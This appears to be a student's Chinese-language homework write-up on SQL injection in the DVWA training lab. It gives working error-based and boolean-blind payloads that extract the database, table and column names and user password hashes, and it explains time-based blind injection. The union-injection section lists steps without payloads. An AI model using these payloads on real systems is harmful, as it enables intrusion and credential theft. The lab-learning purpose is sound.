1、在不依赖于DVWA后端数据库的情况,如何通过前端验证的方法判断DVWA中的注入点是数字型注入还是字符型注入?(提示:用假设法进行逻辑判断)
1.输入1 and 1=1查询有两种情况:
(1)数字型注入
输入内容没有被网站做任何处理,能查询到
输入内容被网站做任何处理,通过隐式转换还是能言询到
(2)字符型注入:查询不到
2.输入1 and 1=2查询有两种情况:
(1)数字型注入
输入内容没有被网站做任何处理,查询不到
输入内容被网站做任何处理,查询到
(2)字符型注入:查询不到
经过判断,DVWA中的注入点是被网站经过处理的数字型注入
2、分别在前端和后端使用联合注入实现“库名-表名-字段名-数据”的注入过程,写清楚注入步骤。
判断字段数为2
爆库名:
爆表名:
爆字段:
查询具体账号密码:
密码md5解码即可
3、分别在前端和后端使用报错注入实现“库名-表名-字段名-数据”的注入过程,写清楚注入步骤。
爆库名:
在前端注入框输入此代码1' and extractvalue(1,concat(0x7e,database()))#
如下图
爆表名:
在前端注入框输入此代码
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))#
如下图
爆字段:
在前端注入框输入此代码
1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)))#
如下图
以此类推改变limit的值爆出所有字段
查询具体账号密码:
在前端注入框输入此代码查看账号1' and extractvalue(1,concat(0x7e,(select user from users where user_id=1)))#
在前端注入框输入此代码查看密码1' and extractvalue(1,concat(0x7e,(select password from users where user_id=1)))#
以此类推改变user_id的值爆出所有账号密码,密码md5解码即可
回答下列关于报错注入的问题:
(1)在extractvalue函数中,为什么'~'写在参数1的位置不报错,而写在参数2的位置报错?
参数1的位置为字符串,参数2的位置是路径,'~'是个字符串写在参数2不符合函数语法的规则引起的报错
(2)报错注入中,为什么要突破单引号的限制,如何突破?
因为网站前端可能会过滤掉单引号,将原来的字符转换成十六进制
(3)在报错注入过程中,为什么要进行报错,是哪种类型的报错?
只要将查询结果放在报错信息里,即extractvalue函数报错时会解析SQL语句,得到想要的结果,报错类型是语法规则的报错
4、任选布尔盲注或者时间盲注在前端和后端实现“库名-表名”的注入过程,写清楚注入步骤。
布尔盲注:
爆库名:
先得知当前数据库的长度
在前端注入框输入代码判断当前数据库的长度1' and length(database())>5#
1' and length(database())>3#
1' and length(database())=4#
可判断出当前所连接数据库名称的长度=4
在前端注入框输入代码判断出当前数据库的第一个字母
1' and ascii(substr(database(),1,1))>98#
1' and ascii(substr(database(),1,1))>100#
1' and ascii(substr(database(),1,1))=100#
数据库名称的第一个字目对应的ASCII码为100,查询是字母 d
以此类推以上操作,分别猜解第2/3/4位元素的字母
1' and ascii(substr(database(),2,1))=118#
1' and ascii(substr(database(),3,1))=119#
1' and ascii(substr(database(),4,1))=97#
得知当前连接数据库的名称为:dvwa
爆表名:
在前端注入框输入代码判断当前数据库表的个数
1' and (select count(table_name) from information_schema.tables where table_schema=database())>3#
1' and (select count(table_name) from information_schema.tables where table_schema=database())>2#
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2#
爆出dvwa数据库中表的个数为2
在前端注入框输入代码判断当前数据库第一张表的字符长度
1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5#
1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>8#
1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=9#
爆出dvwa数据库中第一张表的名称字符长度为9
在前端注入框输入代码判断出当前数据库第一张表的第一个字母
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103#
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103#
dvwa数据库第一张表的第1个字符的ASCII码=103,对应的字符为g,依次猜解出其他位置的字符分别为:u、e、s、t、b、o、o、k
从而dvwa数据库第一张表的名称为:guestbook
同样步骤猜解出dvwa数据库第二张表的名称为:users
时间盲注:if(判断条件,sleep(n),1)函数,若判断条件为真,则执行sleep(n)函数,达到在正常响应时间
的基础上再延迟响应时间n秒的效果。若判断条件为假,则返回设置的1,此时不会执行sleep(n)函数。